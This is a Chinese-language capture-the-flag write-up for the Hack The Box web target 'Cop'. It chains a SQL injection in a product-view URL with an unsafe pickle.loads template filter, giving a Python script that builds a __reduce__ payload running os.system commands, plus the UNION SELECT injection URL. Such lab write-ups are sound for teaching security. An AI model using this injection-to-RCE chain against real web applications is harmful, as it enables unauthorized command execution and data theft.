HTB COP

目標說明

hackthebox上的web靶機,名稱為cop,情境是購物網站

安全風險

此目標發現2個安全風險

  1. SQL injection漏洞
  2. PICKLE反序列化漏洞

安全優化建議 

  • 檢查使用pickle時的反序列化是否有問題
  • 檢查sql語法能不能被外部修改

攻擊手法

使用sql injection漏洞將惡意的反序列化內容喂入目標,以執行特定的惡意指令

測試SQL注入漏洞

看商品時可以發現get view/1 可以查詢商品明細,而這view/1會透過models.py內的sql語法撈數據

def select_by_id(product_id):
  return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)

可以發現product_id這個變數直接傳入sql查詢內,使用-1' OR '1'--, 如下所示,

http://localhost:1333/view/-1%27%20OR%20%271%27--

測試發現返回200 ok,這表示sql執行成功. 因為沒成功會返回錯誤訊息

製做惡意的pickle序列化內容

分析app.py時發現有pickle安全漏洞,可參考補充說明

@app.template_filter('pickle')
def pickle_loads(s):
  return pickle.loads(base64.b64decode(s))

根據這個漏洞製做惡意的序列化內容

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        payload = 'cp flag.txt application/static/.'
        return os.system, (payload,)


payload = pickle.dumps(RCE())
payload_base64 = base64.b64encode(payload).decode()
print(payload_base64 )

該代碼讓目標在反序列化時執行cp flag.txt application/static/..由於目標先讀取base64格式,所以在這段代碼中將序列化內容做base64編碼,

然後執行該代碼產生惡意的序列化內容<malicious_pickle_base64>

將惡意內容喂入目標

為了讓惡意的序列化內容可以喂進系統,需要透過sql injection漏洞

http://localhost:1333/view/' UNION SELECT '<malicious_pickle_base64>

執行後會在目標內產生以下sql語法,

SELECT data FROM products WHERE id='' UNION SELECT '<malicious_pickle_base64>'

該語法會將惡意內容送到python的pickle模組,觸發漏洞執行指令會把flag複製到static目錄下,只要開啟網址即可得到flag

http://localhost:1333/static/flag.txt


補充說明

pickle簡介

pickle是python的模塊,用途是可以序列化和反序列化.該模塊有opcode的功能,可以執行python代碼,因此就容易產生安全問題

以下是pickle使用範例

import pickle
 
class demo():
    def __init__(self):
        self.age=18
        self.name="Pickle"
 
p=demo()
opcode=pickle.dumps(p)
print(opcode)




P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

使用pickle.dumps()做序列化,得到 b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06demo\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'

並使用pickle.loads()做反序列化得到The age is:18 The name is:Pickle

pickle反序列漏洞

只要加入__reduce__的function,就可以在序列化時加入要執行的指令

import pickle
import os
 
class Person():
    def __init__(self):
        self.age=18
        self.name="Pickle"
    def __reduce__(self):
        command=r"whoami"
        return (os.system,(command,))
 
p=Person()
opcode=pickle.dumps(p)
print(opcode)
 
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

pickle.loads()一旦讀取惡意的序列化內容,就會執行代碼中指令whoami

參考文獻

https://zhuanlan.zhihu.com/p/89132768

https://goodapple.top/archives/1069